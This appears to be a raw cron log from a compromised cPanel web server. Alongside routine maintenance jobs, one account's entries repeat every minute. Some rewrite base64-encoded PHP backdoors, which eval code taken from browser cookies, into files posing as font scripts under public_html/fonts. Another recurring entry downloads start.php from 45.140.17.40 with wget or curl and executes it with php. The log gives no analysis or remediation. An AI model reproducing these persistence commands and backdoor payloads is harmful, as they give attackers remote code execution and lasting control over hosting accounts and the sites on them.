Aug 31 19:56:01 ip-184-168-122-23 CROND[20940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:56:01 ip-184-168-122-23 CROND[20942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:57:02 ip-184-168-122-23 CROND[21031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:57:02 ip-184-168-122-23 CROND[21032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:57:02 ip-184-168-122-23 CROND[21034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:57:02 ip-184-168-122-23 CROND[21035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:58:01 ip-184-168-122-23 CROND[21122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:58:01 ip-184-168-122-23 CROND[21125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:58:01 ip-184-168-122-23 CROND[21123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:58:01 ip-184-168-122-23 CROND[21124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 19:58:01 ip-184-168-122-23 CROND[21126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:59:01 ip-184-168-122-23 CROND[21287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 19:59:01 ip-184-168-122-23 CROND[21288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:59:01 ip-184-168-122-23 CROND[21291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 19:59:01 ip-184-168-122-23 CROND[21293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:00:01 ip-184-168-122-23 CROND[21371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:00:01 ip-184-168-122-23 CROND[21375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:00:01 ip-184-168-122-23 CROND[21380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:00:01 ip-184-168-122-23 CROND[21379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:00:01 ip-184-168-122-23 CROND[21387]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 20:00:01 ip-184-168-122-23 CROND[21384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:00:01 ip-184-168-122-23 CROND[21385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:00:01 ip-184-168-122-23 CROND[21388]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:00:01 ip-184-168-122-23 CROND[21386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:01:01 ip-184-168-122-23 CROND[21478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:01:01 ip-184-168-122-23 CROND[21480]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 20:01:01 ip-184-168-122-23 CROND[21483]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 20:01:01 ip-184-168-122-23 CROND[21484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:01:01 ip-184-168-122-23 CROND[21485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:01:01 ip-184-168-122-23 CROND[21487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21480]: starting 0anacron
Aug 31 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21500]: finished 0anacron
Aug 31 20:02:01 ip-184-168-122-23 CROND[21598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:02:01 ip-184-168-122-23 CROND[21601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:02:01 ip-184-168-122-23 CROND[21602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:02:01 ip-184-168-122-23 CROND[21600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:02:01 ip-184-168-122-23 CROND[21603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:03:01 ip-184-168-122-23 CROND[21692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:03:01 ip-184-168-122-23 CROND[21696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:03:01 ip-184-168-122-23 CROND[21694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:03:01 ip-184-168-122-23 CROND[21697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:04:01 ip-184-168-122-23 CROND[21849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:04:01 ip-184-168-122-23 CROND[21851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:04:01 ip-184-168-122-23 CROND[21859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:04:01 ip-184-168-122-23 CROND[21861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:04:01 ip-184-168-122-23 CROND[21864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:05:01 ip-184-168-122-23 CROND[21962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:05:01 ip-184-168-122-23 CROND[21963]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:05:01 ip-184-168-122-23 CROND[21965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:05:01 ip-184-168-122-23 CROND[21968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:05:01 ip-184-168-122-23 CROND[21970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:05:01 ip-184-168-122-23 CROND[21969]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 20:05:01 ip-184-168-122-23 CROND[21971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:06:01 ip-184-168-122-23 CROND[22052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:06:01 ip-184-168-122-23 CROND[22055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:06:01 ip-184-168-122-23 CROND[22054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:06:01 ip-184-168-122-23 CROND[22056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:06:01 ip-184-168-122-23 CROND[22057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:07:01 ip-184-168-122-23 CROND[22142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:07:01 ip-184-168-122-23 CROND[22144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:07:01 ip-184-168-122-23 CROND[22143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:07:01 ip-184-168-122-23 CROND[22145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:08:01 ip-184-168-122-23 CROND[22222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:08:01 ip-184-168-122-23 CROND[22224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
